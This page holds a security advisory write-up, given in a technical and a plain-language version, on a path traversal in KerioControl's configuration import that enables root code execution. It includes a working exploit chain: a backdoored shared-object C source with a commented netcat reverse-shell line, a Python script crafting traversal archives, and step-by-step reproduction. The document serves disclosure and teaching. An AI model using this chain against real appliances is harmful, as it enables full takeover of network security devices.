Skip to content
Path traversal Write-up Advanced

SSD Advisory – KerioControl Remote Code Execution

KerioControl's admin configuration import function was vulnerable to a tar.gz path traversal, allowing an authenticated admin to write files outside the intended directory. By overwriting a shared object loaded by the antivirus service running as root, an attacker could achieve remote code execution.

Simon Janz Follow

Published on ssd-disclosure.com

KerioControl suffers from a tar.gz path traversal within the import configuration functionality inside the admin panel which leads to Remote Code Execution.

SSD Secure Disclosure technical team, on ssd-disclosure.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

Context

KerioControl is a network security product from GFI Software that includes firewall, VPN and antivirus functionality, administered through a web interface. The admin panel offers an import configuration feature, which lets an administrator upload a configuration archive (a .tar.gz) to restore or apply settings. That import routine is where the problem sits: it extracts archive members without properly constraining where they land on disk, so a crafted archive can write outside the intended directory.

The advisory describes a tar.gz path traversal in the import configuration functionality inside the admin panel, which leads to remote code execution. The affected build is KerioControl version 9.4.2 patch 1 build7290. The vendor was notified on February 14, 2023, and, per the advisory, provided no indication whether the issue was being fixed or addressed.

Setup

The precondition is access to the (admin) web interface of the product. The researcher works from that authenticated position throughout: the import feature, the antivirus settings and the service controls used below are all reachable as an admin user. The analysis used the admin panel plus shell commands on the appliance for inspection (listing files, reading /proc, running ps). The backdoored shared object was built with gcc, and the archive generator is a short Python script.

Finding it

The starting point is the import functionality of the configuration inside the admin panel, which suffered from a path traversal vulnerability. At first glance it looked as though it was only possible to write to /tmp/ and its sub-directories. Later it was identified that writing to /var/ and its sub-directories was also possible.

With write access to /var/ established, the next question was which files are worth creating or overwriting. A search turned up the following entries:

Text
...

   346983      0 lrwxrwxrwx   1 root     root           58 Feb  2 14:39 /var/winroute/bitdefender/Plugins/1/bdcore.so -> /var/winroute/bitdefender/Plugins/1/bdcore.so.linux-x86_64
   347975     40 -rw-------   1 root     root        39456 Feb  2 22:39 /var/winroute/bitdefender/Plugins/2/bdcore.so.linux-x86_64
   347927     40 -rw-------   1 root     root        39456 Feb  2 14:39 /var/winroute/bitdefender/Plugins/1/bdcore.so.linux-x86_64
...

This looked promising: a shared object that might be overwritable and then loaded again, giving code execution. The next step was to find the process that had the file mapped:

Bash
> for pid in `ls /proc/`; do grep 'bdcore.so' /proc/$pid/maps && echo $pid ; done
7f4349c92000-7f4349c9a000 r-xp 00000000 08:04 347975                     /var/winroute/bitdefender/Plugins/2/bdcore.so.linux-x86_64
7f4349c9a000-7f4349d99000 ---p 00008000 08:04 347975                     /var/winroute/bitdefender/Plugins/2/bdcore.so.linux-x86_64
7f4349d99000-7f4349d9b000 rw-p 00007000 08:04 347975                     /var/winroute/bitdefender/Plugins/2/bdcore.so.linux-x86_64
14787

There is an actual process loading the shared object. Which process is it, and with which privileges does it run?

Bash
> ps aux |grep 14787
root     14787  1.0  8.7 949276 354896 ?       Sl   22:39   0:28 ./avserver 134 137

It is the AV service, and it runs as root. Looking into the web interface, the corresponding service was identified, and the admin user is able to disable (kill) the service through the WebUI and re-enable it, producing a stop and start of the service. That gives a reliable way to force the shared object to be loaded again.

Exploitation

Building the backdoored shared object

The shared object binary was downloaded from the system, loaded into Ghidra, and its exported functions and their parameters were copied into a new C source file to be compiled as the backdoored binary. The following C code was used to create a backdoored version of the actual shared object:

C
/*
 * How to compile:
 * ----
 * gcc -c -Wall -Werror -fpic evil_bdcore.so.c
 * gcc -shared -o evil_bdcore.so evil_bdcore.so.o
*/

#include<unistd.h>
#include<stdlib.h>

void evil(){
	// Change this to your needs
	// for  reverse shell the following might be used:
	// "/usr/bin/nc [redacted]  1235 -e /bin/sh &"  (without quotes of course)
	system("/bin/touch /tmp/oh0la");
}

void CoreDeleteInstance(void){ evil(); }
void CoreGet(void){ evil(); }
long CoreGetBuildNumber(void){ evil(); return 0; }
long* CoreGetLastOpenError(void){ evil();  return 0;}
int CoreInit(void){ evil(); return 0;}
int CoreInit2(void *param){ evil(); return 0;}
int CoreInit3(long param){ evil(); return 0;}
int CoreInit4(void *param1, long param2){ evil(); return 0; }
int CoreInit5(int param1, long param2, long param3, long param4){ evil(); return 0; }
long CoreInitEx(long param1){ evil(); return 0;}
void CoreNewInstance(void){ evil(); }
long CoreSet(long param1, unsigned int param2, long param3, long param4, long param5, long param6){ evil(); return 0; }
int CoreUninit(void){ evil(); return 0; }

Each exported function calls evil(), which runs a shell command; the sample uses /bin/touch /tmp/oh0la as a harmless marker, and the comment notes that a reverse shell command could be substituted.

It is then compiled:

Bash
> gcc -c -Wall -Werror -fpic evil_bdcore.so.c
> gcc -shared -o bdcore.so.linux-x86_64 evil_bdcore.so.o

Note the output name: the compiled object is named bdcore.so.linux-x86_64, matching the file the AV service loads.

The moving target

Up to this point no time had been spent on PoC code for the path traversal itself. Before that, there is a problem with loading the backdoored .so. The shared object appears to be an AV signature helper. During tests it was observed that for each signature update the path changed. Before the signature update:

Text
/var/winroute/bitdefender/Plugins/1/bdcore.so.linux-x86_64

After the signature update:

Text
/var/winroute/bitdefender/Plugins/2/bdcore.so.linux-x86_64

So the last subfolder is an integer value ranging from 1 to X, and the last one is chosen. During tests it was often observed that if the value did not seem to be correct (for example 50 instead of 1), a new update was triggered, again increasing the value and downloading a new signature (.so file), hence ignoring the evil one.

This was solvable. When the integer hit 99 it started again at 1. That leaves the following scenario from a high-level view:

  1. Disable AV
  2. Create file /var/winroute/bitdefender/Plugins/99/bdcore.so.linux-x86_64 using the vulnerability
  3. Enable AV which creates /var/winroute/bitdefender/Plugins/1/bdcore.so.linux-x86_64
  4. Disable AV
  5. Create file /var/winroute/bitdefender/Plugins/1/bdcore.so.linux-x86_64 using the vulnerability
  6. Enable AV again, this time loading our .so

The report gives the following scenario from a high-level view.

Generating the archives

The script to create the two files is shown below.

Python
#!/usr/bin/env python

import sys, zipfile, tarfile, os, optparse

def create_file(n):
    # Fake file, only the name is interesting as it is used for the traversal
    fname = "bdcore.so.linux-x86_64"
    evil_backup_name = f"evil_backup_write_{n}.tar.gz"
    tf = tarfile.open(evil_backup_name, "w:gz")
    SO_FOLDER_PATH = f"var/winroute/bitdefender/Plugins/{n}/"
    zpath = "../"*8+SO_FOLDER_PATH + os.path.basename(fname)
    print (f"Creating {evil_backup_name} containing {zpath}")
    tf.add(fname, zpath)
    """
    for f in CONFIG_FILES:
        tf.add(f, zpath)
    """
    tf.close()

def main(argv=sys.argv):
    create_file(1)
    create_file(99)

if __name__ == '__main__':
     main()

The script builds the archive member name as eight ../ segments followed by var/winroute/bitdefender/Plugins/<n>/bdcore.so.linux-x86_64, where <n> is 1 or 99. The file added to the archive is named bdcore.so.linux-x86_64; the comment in the script says only the name is interesting, as it is used for the traversal. Running it produces:

Text
> python3 create_evil_archives.py

Creating evil_backup_write_1.tar.gz containing ../../../../../../../../var/winroute/bitdefender/Plugins/1/bdcore.so.linux-x86_64

Creating evil_backup_write_99.tar.gz containing ../../../../../../../../var/winroute/bitdefender/Plugins/99/bdcore.so.linux-x86_64

These two files are then uploaded: first evil_backup_write_99.tar.gz, then evil_backup_write_1.tar.gz.

Step by step reproduction

The following lists the steps in more detail for easily reproducing the issue and gaining remote code execution.

Step 1: Disable AV

  1. Go to Antivirus.
  2. Untick Use Kerio Antivirus and click apply in the lower right.

Step 2: Trigger the vulnerability to create the file at 99

  1. Dashboard, then click "Configuration Assistant" in the lower left.
  2. Choose Import Configuration and select the backdoored .tar.gz (evil_backup_write_99.tar.gz).

This writes /var/winroute/bitdefender/Plugins/99/bdcore.so.linux-x86_64 through the traversal.

Step 3: Enable AV to roll the counter back to 1

  1. Go to Antivirus.
  2. Disable/uncheck "Check for update every...".
  3. Enable/tick "Use Kerio Antivirus" and again click apply in the lower right.

This triggers an update and rolls back to 1, hence creating the legitimate file /var/winroute/bitdefender/Plugins/1/bdcore.so.linux-x86_64.

Step 4: Disable AV again

Repeat step 1.

Step 5: Trigger the vulnerability again to overwrite the file at 1

Repeat step 2 with the evil backup file evil_backup_write_1.tar.gz, now overwriting /var/winroute/bitdefender/Plugins/1/bdcore.so.linux-x86_64.

Step 6: Enable AV to load the backdoor

Repeat step 3. The service starts and loads the planted shared object, which finally loads the evil backdoor.

Root cause

The import configuration feature suffered from a path traversal, so ../ sequences in archive entries could write outside the intended directory. The advisory does not show the extraction code, so the exact implementation is not described here; the effect is that members can be written to /tmp/ and, as later identified, to /var/ and its sub-directories.

The second half of the chain is a design weakness rather than a memory-safety bug: the AV service runs as root and loads a shared object from a predictable, writable path (/var/winroute/bitdefender/Plugins/<n>/bdcore.so.linux-x86_64). Because the admin can stop and start the service, and because the plugin directory number increases with each update and restarts at 1 after 99, an attacker who can write files there can place a malicious object where the service will load it. The advisory does not state which defences, if any, were present and failed; the traversal succeeding at all implies the archive extraction did not reject or normalise ../ components.

Impact

An attacker with access to the (admin) web interface of the product can gain full root privileges on the underlying operating system. The advisory frames this as a vulnerability in the way KerioControl processes updates to its Antivirus engine. The precondition is explicit: access to the admin web interface. The advisory does not describe how such access would be obtained, and does not assign a severity or CVSS score.

Fix

The advisory does not describe a fix. The vendor was notified on February 14, 2023, and, per the advisory, provided no indication whether or not the issue was getting fixed or addressed. What should change, based on the described behaviour: the configuration import should reject or normalise archive members containing .. path components (and absolute paths) so extraction cannot escape the target directory, and the AV service should not load a shared object from a location writable through the web interface, or should verify its integrity before loading.

Variants to test

  1. Other archive import features. Look for any admin feature that accepts .tar, .tar.gz, .zip or similar archives (backup restore, configuration import, plugin upload). A positive result is an archive member with ../ segments landing outside the extraction directory, confirmed by the file appearing at the traversed path.
  2. Deeper traversal targets. The advisory shows writes reaching /var/; try other writable locations that are later consumed by privileged processes (startup scripts, cron entries, library paths). A positive result is a file created in a directory the process later reads or executes.
  3. Predictable plugin or module paths. Where a privileged service loads a shared object or script from a numbered or rotating directory, map the counter's range and wrap point. A positive result is a planted file being loaded after a service restart, demonstrated with a harmless marker command.
  4. Service stop/start as a reload primitive. Check whether the admin UI lets you stop and start the service that consumes the file. A positive result is the service reloading the modified file without a full reboot.
  5. Counter manipulation. If the loader rejects an unexpected counter value and triggers a fresh download, test whether forcing the counter to its maximum causes a wrap to the value you control. A positive result is the loader accepting your file at the wrapped index instead of downloading a new one.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 18 min read.

What happened, in plain words

KerioControl is a security appliance made by GFI Software. Think of it as a box that sits between a company's network and the internet and does several jobs at once: it acts as a firewall (deciding which traffic is allowed in and out), it provides VPN (a private tunnel for remote workers), and it runs an antivirus engine that scans traffic for malicious files. Like most appliances of this kind, it is managed through a web interface: you open a browser, log in as an administrator, and click around to change settings.

One of the things that web interface can do is import a configuration. A configuration is a bundle of settings, and it is stored as an archive file with the extension .tar.gz. When an administrator uploads such an archive, the appliance opens it and writes the files inside it back onto its own disk, so the saved settings take effect. That upload-and-unpack step is where the problem lives.

An archive is like a cardboard box full of labelled envelopes. Each envelope has a name written on it, and the unpacking software is supposed to put each envelope into a specific drawer. The bug is that the appliance trusted the names written on the envelopes. If an envelope is labelled with a name that means "go up eight folders, then into this other folder", the file can end up somewhere else entirely. This trick is called path traversal: using ../ sequences (which mean "parent directory") to escape the place you were supposed to be confined to.

By itself, writing a file to an unexpected place is already bad, but the researcher went further. He found a file that the antivirus service loads and runs, and that file sits in a folder the traversal can reach. Because the antivirus service runs with the highest level of permission on the machine (the root account, which on Linux can do anything), replacing that file with a malicious one means the appliance will run the attacker's code as root. That is remote code execution: an attacker who can reach the admin web interface can end up in full control of the underlying operating system.

The affected build is KerioControl version 9.4.2 patch 1 build7290. The vendor was notified on February 14, 2023, and, per the advisory, gave no indication whether the issue was being fixed or addressed. The researcher credited is Simon Janz.

The pieces you need to know before the details

A few ideas come up again and again below, so here they are from scratch.

  • Web interface / admin panel: the pages you see in a browser after logging in. In this product it is where you configure the firewall, the antivirus and so on. "Admin" means the account with the most power.
  • Archive (.tar.gz): a single file that packs many files together, like a zip file. .tar is the packing format and .gz means it was compressed to save space. Each file inside keeps a name, and that name can include folder paths.
  • Path traversal: a bug where a program accepts a file name containing ../ and follows it, so the file lands outside the folder the program meant to use. The everyday comparison: a hotel clerk told "room 12" walks down the corridor; told "room 12, but first go back to the lobby and out the front door", a naive clerk does exactly that.
  • Shared object (.so): on Linux, a file full of ready-made functions that programs can load and call at runtime, similar to a .dll on Windows. If you can replace a shared object that a program loads, you can make that program run your code.
  • root: the all-powerful account on Linux. A program running as root can read, write and execute anything on the machine.
  • Process: a running program. Each one has a numeric ID (a PID), and the system keeps a list of them under /proc.
  • /proc: a special folder on Linux that is not really files on disk but a live window into running processes. /proc/<pid>/maps shows which files a process has loaded into memory.
  • Ghidra: a free tool for taking apart compiled programs to see what functions they contain and what arguments those functions expect.
  • Reverse shell: a command that makes the victim machine connect back to the attacker and hand over a command prompt, so the attacker can type commands on the victim from afar.
  • PoC (proof of concept): a small demonstration that proves a bug is real, usually the minimum code needed to trigger it.

Finding the bug

The starting point is the import configuration feature in the admin panel. It suffered from a path traversal vulnerability. At first glance it looked as though it was only possible to write to /tmp/ and its sub-directories. /tmp is the scratch space on Linux where any program can create temporary files, so writing there is not very exciting. Later it was identified that writing to /var/ and its sub-directories was also possible. /var is where a Linux system keeps data that changes over time: logs, caches, service state. That is a much more interesting place, because services read from it.

With write access to /var/ established, the next question was which files are worth creating or overwriting. The researcher searched the filesystem and turned up these entries:

Text
...

   346983      0 lrwxrwxrwx   1 root     root           58 Feb  2 14:39 /var/winroute/bitdefender/Plugins/1/bdcore.so -> /var/winroute/bitdefender/Plugins/1/bdcore.so.linux-x86_64
   347975     40 -rw-------   1 root     root        39456 Feb  2 22:39 /var/winroute/bitdefender/Plugins/2/bdcore.so.linux-x86_64
   347927     40 -rw-------   1 root     root        39456 Feb  2 14:39 /var/winroute/bitdefender/Plugins/1/bdcore.so.linux-x86_64
...

This is the output of a directory listing, the same kind of listing you get from ls -l on Linux. Read it column by column. The first number is an inode (an internal file identifier). Then come the permissions: lrwxrwxrwx means a symbolic link (a shortcut, like a signpost pointing at another file), and -rw------- means a regular file that only its owner can read and write. Then the owner and group, both root. Then the size in bytes, the date, and finally the path.

The interesting part is the last two lines: bdcore.so.linux-x86_64 is a shared object, a file full of code. It sits in a numbered folder (Plugins/1, Plugins/2). The first line shows that bdcore.so is just a shortcut pointing at bdcore.so.linux-x86_64. A shared object that might be overwritable and then loaded again would give code execution, so this looked promising.

The next step was to find the process that had the file loaded into memory:

Bash
> for pid in `ls /proc/`; do grep 'bdcore.so' /proc/$pid/maps && echo $pid ; done
7f4349c92000-7f4349c9a000 r-xp 00000000 08:04 347975                     /var/winroute/bitdefender/Plugins/2/bdcore.so.linux-x86_64
7f4349c9a000-7f4349d99000 ---p 00008000 08:04 347975                     /var/winroute/bitdefender/Plugins/2/bdcore.so.linux-x86_64
7f4349d99000-7f4349d9b000 rw-p 00007000 08:04 347975                     /var/winroute/bitdefender/Plugins/2/bdcore.so.linux-x86_64
14787

Line by line:

  • for pid in ls /proc/; do ... ; done is a shell loop. ls /proc/ lists every process ID currently on the machine, and the loop runs the body once per ID.
  • grep 'bdcore.so' /proc/$pid/maps searches that process's memory map for the string bdcore.so. The memory map is the list of files the process has pulled into memory.
  • && echo $pid prints the process ID only when the search found a match.
  • The three lines starting with 7f... are the matching memory regions. The r-xp region is executable code, ---p is a guard region, and rw-p is writable data. All three point at Plugins/2/bdcore.so.linux-x86_64.
  • 14787 is the process ID that owns those regions.

So there is an actual process loading the shared object. Which process is it, and with which privileges does it run?

Bash
> ps aux |grep 14787
root     14787  1.0  8.7 949276 354896 ?       Sl   22:39   0:28 ./avserver 134 137

ps aux lists all running processes with details, and grep 14787 keeps only the line for that process. The first column, root, is the account the process runs under. The last column, ./avserver 134 137, is the program name and its arguments. So it is the antivirus service, and it runs as root. That is the ideal target: replace the file it loads, and your code runs with full power.

Looking into the web interface, the corresponding service was identified, and the admin user is able to disable (kill) the service through the WebUI and re-enable it. Disabling and re-enabling produces a stop and start of the service. That matters because the service has to start again for the replaced file to be loaded. The stop/start button is therefore a reliable way to force the shared object to be loaded again.

Exploitation

Building the backdoored shared object

The shared object binary was downloaded from the system, loaded into Ghidra, and its exported functions and their parameters were copied into a new C source file to be compiled as the backdoored binary. In plain terms: the researcher opened the real file in a disassembler to see the list of function names the antivirus service calls, then wrote his own file that uses exactly the same names, so the service will find what it expects. The following C code was used to create a backdoored version of the actual shared object:

C
/*
 * How to compile:
 * ----
 * gcc -c -Wall -Werror -fpic evil_bdcore.so.c
 * gcc -shared -o evil_bdcore.so evil_bdcore.so.o
*/

#include<unistd.h>
#include<stdlib.h>

void evil(){
	// Change this to your needs
	// for  reverse shell the following might be used:
	// "/usr/bin/nc [redacted]  1235 -e /bin/sh &"  (without quotes of course)
	system("/bin/touch /tmp/oh0la");
}

void CoreDeleteInstance(void){ evil(); }
void CoreGet(void){ evil(); }
long CoreGetBuildNumber(void){ evil(); return 0; }
long* CoreGetLastOpenError(void){ evil();  return 0;}
int CoreInit(void){ evil(); return 0;}
int CoreInit2(void *param){ evil(); return 0;}
int CoreInit3(long param){ evil(); return 0;}
int CoreInit4(void *param1, long param2){ evil(); return 0; }
int CoreInit5(int param1, long param2, long param3, long param4){ evil(); return 0; }
long CoreInitEx(long param1){ evil(); return 0;}
void CoreNewInstance(void){ evil(); }
long CoreSet(long param1, unsigned int param2, long param3, long param4, long param5, long param6){ evil(); return 0; }
int CoreUninit(void){ evil(); return 0; }

Line by line:

  • The comment block at the top records the two gcc commands used to compile the file, so the build can be repeated.
  • #include<unistd.h> and #include<stdlib.h> pull in standard C declarations; system() comes from the second one.
  • void evil(){ ... } is the payload function. system("/bin/touch /tmp/oh0la") runs a shell command that creates an empty file called /tmp/oh0la. touch is harmless: it just creates or updates a file's timestamp. It is used as a marker, so the researcher can see that his code ran. The commented line above it shows how a reverse shell command could be substituted instead.
  • Every function below evil() has a name that the real shared object exports (CoreInit, CoreSet, CoreUninit and so on). Each one calls evil() and then returns a plausible value (0, or a null pointer).
  • The parameters in the signatures (void *param, long param1 and so on) are there so the function definitions match what the service expects to call. The payload ignores them.

It is then compiled:

Bash
> gcc -c -Wall -Werror -fpic evil_bdcore.so.c
> gcc -shared -o bdcore.so.linux-x86_64 evil_bdcore.so.o
  • gcc -c -Wall -Werror -fpic evil_bdcore.so.c compiles the source into an object file. -c means "compile only, do not link yet". -Wall turns on all warnings and -Werror turns warnings into errors, so nothing sloppy slips through. -fpic produces position-independent code, which is required for shared objects.
  • gcc -shared -o bdcore.so.linux-x86_64 evil_bdcore.so.o links the object into a shared object. -shared says "build a shared object", and -o sets the output name.

Note the output name: the compiled object is named bdcore.so.linux-x86_64, matching the file the AV service loads.

The moving target

Up to this point no time had been spent on PoC code for the path traversal itself. Before that, there is a problem with loading the backdoored .so. The shared object appears to be an AV signature helper. A signature is a pattern the antivirus uses to recognise a known malicious file, and the appliance downloads fresh signatures regularly. During tests it was observed that for each signature update the path changed. Before the signature update:

Text
/var/winroute/bitdefender/Plugins/1/bdcore.so.linux-x86_64

After the signature update:

Text
/var/winroute/bitdefender/Plugins/2/bdcore.so.linux-x86_64

So the last subfolder is an integer value ranging from 1 to X, and the last one is chosen. In other words, each update writes the helper into the next numbered folder, like a shop that moves to the next unit along the street every time it restocks. During tests it was often observed that if the value did not seem to be correct (for example 50 instead of 1), a new update was triggered, again increasing the value and downloading a new signature (.so file), hence ignoring the evil one. So dropping your file into an arbitrary folder often did not work: a new update was triggered, downloading a fresh signature and ignoring the evil one.

This was solvable. When the integer hit 99 it started again at 1. That wrap-around is the opening. The plan from a high-level view:

  1. Disable AV
  2. Create file /var/winroute/bitdefender/Plugins/99/bdcore.so.linux-x86_64 using the vulnerability
  3. Enable AV which creates /var/winroute/bitdefender/Plugins/1/bdcore.so.linux-x86_64
  4. Disable AV
  5. Create file /var/winroute/bitdefender/Plugins/1/bdcore.so.linux-x86_64 using the vulnerability
  6. Enable AV again, this time loading our .so

The report gives the following scenario from a high-level view.

Generating the archives

The script to create the two files is shown below.

Python
#!/usr/bin/env python

import sys, zipfile, tarfile, os, optparse

def create_file(n):
    # Fake file, only the name is interesting as it is used for the traversal
    fname = "bdcore.so.linux-x86_64"
    evil_backup_name = f"evil_backup_write_{n}.tar.gz"
    tf = tarfile.open(evil_backup_name, "w:gz")
    SO_FOLDER_PATH = f"var/winroute/bitdefender/Plugins/{n}/"
    zpath = "../"*8+SO_FOLDER_PATH + os.path.basename(fname)
    print (f"Creating {evil_backup_name} containing {zpath}")
    tf.add(fname, zpath)
    """
    for f in CONFIG_FILES:
        tf.add(f, zpath)
    """
    tf.close()

def main(argv=sys.argv):
    create_file(1)
    create_file(99)

if __name__ == '__main__':
     main()

Line by line:

  • import sys, zipfile, tarfile, os, optparse loads Python's standard modules. tarfile is the one that matters: it builds and reads .tar archives.
  • def create_file(n): defines a function that takes a number n, which will be 1 or 99.
  • fname = "bdcore.so.linux-x86_64" is the name of the file on the researcher's own machine that will be packed. The comment explains that the file is fake and only the name is interesting, as it is used for the traversal.
  • evil_backup_name = f"evil_backup_write_{n}.tar.gz" builds the output archive name, for example evil_backup_write_99.tar.gz.
  • tf = tarfile.open(evil_backup_name, "w:gz") opens a new archive for writing, compressed with gzip.
  • SO_FOLDER_PATH = f"var/winroute/bitdefender/Plugins/{n}/" is the destination folder on the appliance, with the number filled in.
  • zpath = "../"*8+SO_FOLDER_PATH + os.path.basename(fname) is the heart of the trick. "../"*8 produces ../../../../../../../../, eight steps up the directory tree. Prepending that to the destination path makes the name look, to the unpacking software, like a relative path that climbs out of wherever it currently is and then descends into /var/winroute/.... os.path.basename(fname) just takes the file name without any folder part.
  • print (...) reports what is being created, which is useful when running the script.
  • tf.add(fname, zpath) adds the local file to the archive under the crafted name. The second argument is the name stored inside the archive, and that is the name the vulnerable importer will trust.
  • The triple-quoted block is commented-out code that would add configuration files; it is not used.
  • tf.close() finishes and writes the archive.
  • main() calls create_file(1) and create_file(99), producing both archives.

Running it produces:

Text
> python3 create_evil_archives.py

Creating evil_backup_write_1.tar.gz containing ../../../../../../../../var/winroute/bitdefender/Plugins/1/bdcore.so.linux-x86_64

Creating evil_backup_write_99.tar.gz containing ../../../../../../../../var/winroute/bitdefender/Plugins/99/bdcore.so.linux-x86_64

These two files are then uploaded: first evil_backup_write_99.tar.gz, then evil_backup_write_1.tar.gz. The order follows the plan above: plant at 99, let the counter wrap, then overwrite at 1.

Step by step reproduction

The following lists the steps in more detail for easily reproducing the issue and gaining remote code execution.

Step 1: Disable AV

  1. Go to Antivirus.
  2. Untick Use Kerio Antivirus and click apply in the lower right.

Step 2: Trigger the vulnerability to create the file at 99

  1. Dashboard, then click "Configuration Assistant" in the lower left.
  2. Choose Import Configuration and select the backdoored .tar.gz (evil_backup_write_99.tar.gz).

This writes /var/winroute/bitdefender/Plugins/99/bdcore.so.linux-x86_64 through the traversal.

Step 3: Enable AV to roll the counter back to 1

  1. Go to Antivirus.
  2. Disable/uncheck "Check for update every...".
  3. Enable/tick "Use Kerio Antivirus" and again click apply in the lower right.

This triggers an update and rolls back to 1, hence creating the legitimate file /var/winroute/bitdefender/Plugins/1/bdcore.so.linux-x86_64.

Step 4: Disable AV again

Repeat step 1. Repeat step 1.

Step 5: Trigger the vulnerability again to overwrite the file at 1

Repeat step 2 with the evil backup file evil_backup_write_1.tar.gz, now overwriting /var/winroute/bitdefender/Plugins/1/bdcore.so.linux-x86_64. This is the file the service will read when it next starts.

Step 6: Enable AV to load the backdoor

Repeat step 3. The service starts and loads the planted shared object, which finally loads the evil backdoor. Because the service runs as root, the command inside evil() runs with full privileges.

Root cause

The import configuration feature suffered from a path traversal, so ../ sequences in archive entries could write outside the intended directory. The advisory does not show the extraction code, so the exact implementation is not described here; the effect is that members can be written to /tmp/ and, as later identified, to /var/ and its sub-directories.

The second half of the chain is a design weakness rather than a memory-safety bug: the AV service runs as root and loads a shared object from a predictable, writable path (/var/winroute/bitdefender/Plugins/<n>/bdcore.so.linux-x86_64). Because the admin can stop and start the service, and because the plugin directory number increases with each update and restarts at 1 after 99, an attacker who can write files there can place a malicious object where the service will load it. The advisory does not state which defences, if any, were present and failed; the traversal succeeding at all implies the archive extraction did not reject or normalise ../ components.

Impact

An attacker with access to the (admin) web interface of the product can gain full root privileges on the underlying operating system. The advisory frames this as a vulnerability in the way KerioControl processes updates to its Antivirus engine. The precondition is explicit: access to the admin web interface. The advisory does not describe how such access would be obtained, and does not assign a severity or CVSS score.

Fix

The advisory does not describe a fix. The vendor was notified on February 14, 2023, and, per the advisory, provided no indication whether or not the issue was getting fixed or addressed. What should change, based on the described behaviour: the configuration import should reject or normalise archive members containing .. path components (and absolute paths) so extraction cannot escape the target directory, and the AV service should not load a shared object from a location writable through the web interface, or should verify its integrity before loading.

Variants to test

  1. Other archive import features. Look for any admin feature that accepts .tar, .tar.gz, .zip or similar archives (backup restore, configuration import, plugin upload). A positive result is an archive member with ../ segments landing outside the extraction directory, confirmed by the file appearing at the traversed path.
  2. Deeper traversal targets. The advisory shows writes reaching /var/; try other writable locations that are later consumed by privileged processes (startup scripts, cron entries, library paths). A positive result is a file created in a directory the process later reads or executes.
  3. Predictable plugin or module paths. Where a privileged service loads a shared object or script from a numbered or rotating directory, map the counter's range and wrap point. A positive result is a planted file being loaded after a service restart, demonstrated with a harmless marker command.
  4. Service stop/start as a reload primitive. Check whether the admin UI lets you stop and start the service that consumes the file. A positive result is the service reloading the modified file without a full reboot.
  5. Counter manipulation. If the loader rejects an unexpected counter value and triggers a fresh download, test whether forcing the counter to its maximum causes a wrap to the value you control. A positive result is the loader accepting your file at the wrapped index instead of downloading a new one.

Glossary

  • Admin panel: the web pages used to configure and control a product, available only to an administrator account.
  • Antivirus engine: the part of a security product that scans traffic and files for known malicious patterns.
  • Archive: a single file that packs many files together, often compressed; .tar.gz is one common format.
  • Configuration import: a feature that takes an uploaded archive of settings and writes its contents back onto the appliance.
  • Counter (plugin directory number): the integer in the path Plugins/<n>/ that increases with each signature update and restarts at 1 after 99.
  • CVSS: a standard scoring system for the severity of a vulnerability; the advisory does not assign one here.
  • Ghidra: a free reverse-engineering tool for inspecting compiled programs.
  • gcc: the standard C compiler on Linux, used here to build the malicious shared object.
  • Inode: an internal identifier Linux uses for a file, shown in directory listings.
  • Memory map (/proc/<pid>/maps): the list of files and memory regions a running process has loaded.
  • Path traversal: a bug where ../ sequences in a file name let a file be written outside the intended folder.
  • PID: process ID, the number that identifies a running program.
  • PoC (proof of concept): a minimal demonstration that a vulnerability can be triggered.
  • Process: a running program on the machine.
  • /proc: a special Linux folder that exposes live information about running processes.
  • ps aux: a command that lists all running processes with their owner and command line.
  • Remote code execution (RCE): making a remote system run code of the attacker's choosing.
  • Reverse shell: a command that makes the victim connect back to the attacker and provide a command prompt.
  • root: the all-powerful Linux account that can do anything on the system.
  • Shared object (.so): a Linux file of reusable code that programs load at runtime, similar to a .dll on Windows.
  • Signature: a pattern an antivirus uses to recognise a known malicious file; signatures are downloaded and updated regularly.
  • Symbolic link: a shortcut file that points at another file, like a signpost.
  • system(): a C function that runs a shell command.
  • touch: a command that creates an empty file or updates its timestamp, used here as a harmless marker.
  • Web interface: the browser-based pages used to operate a product.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.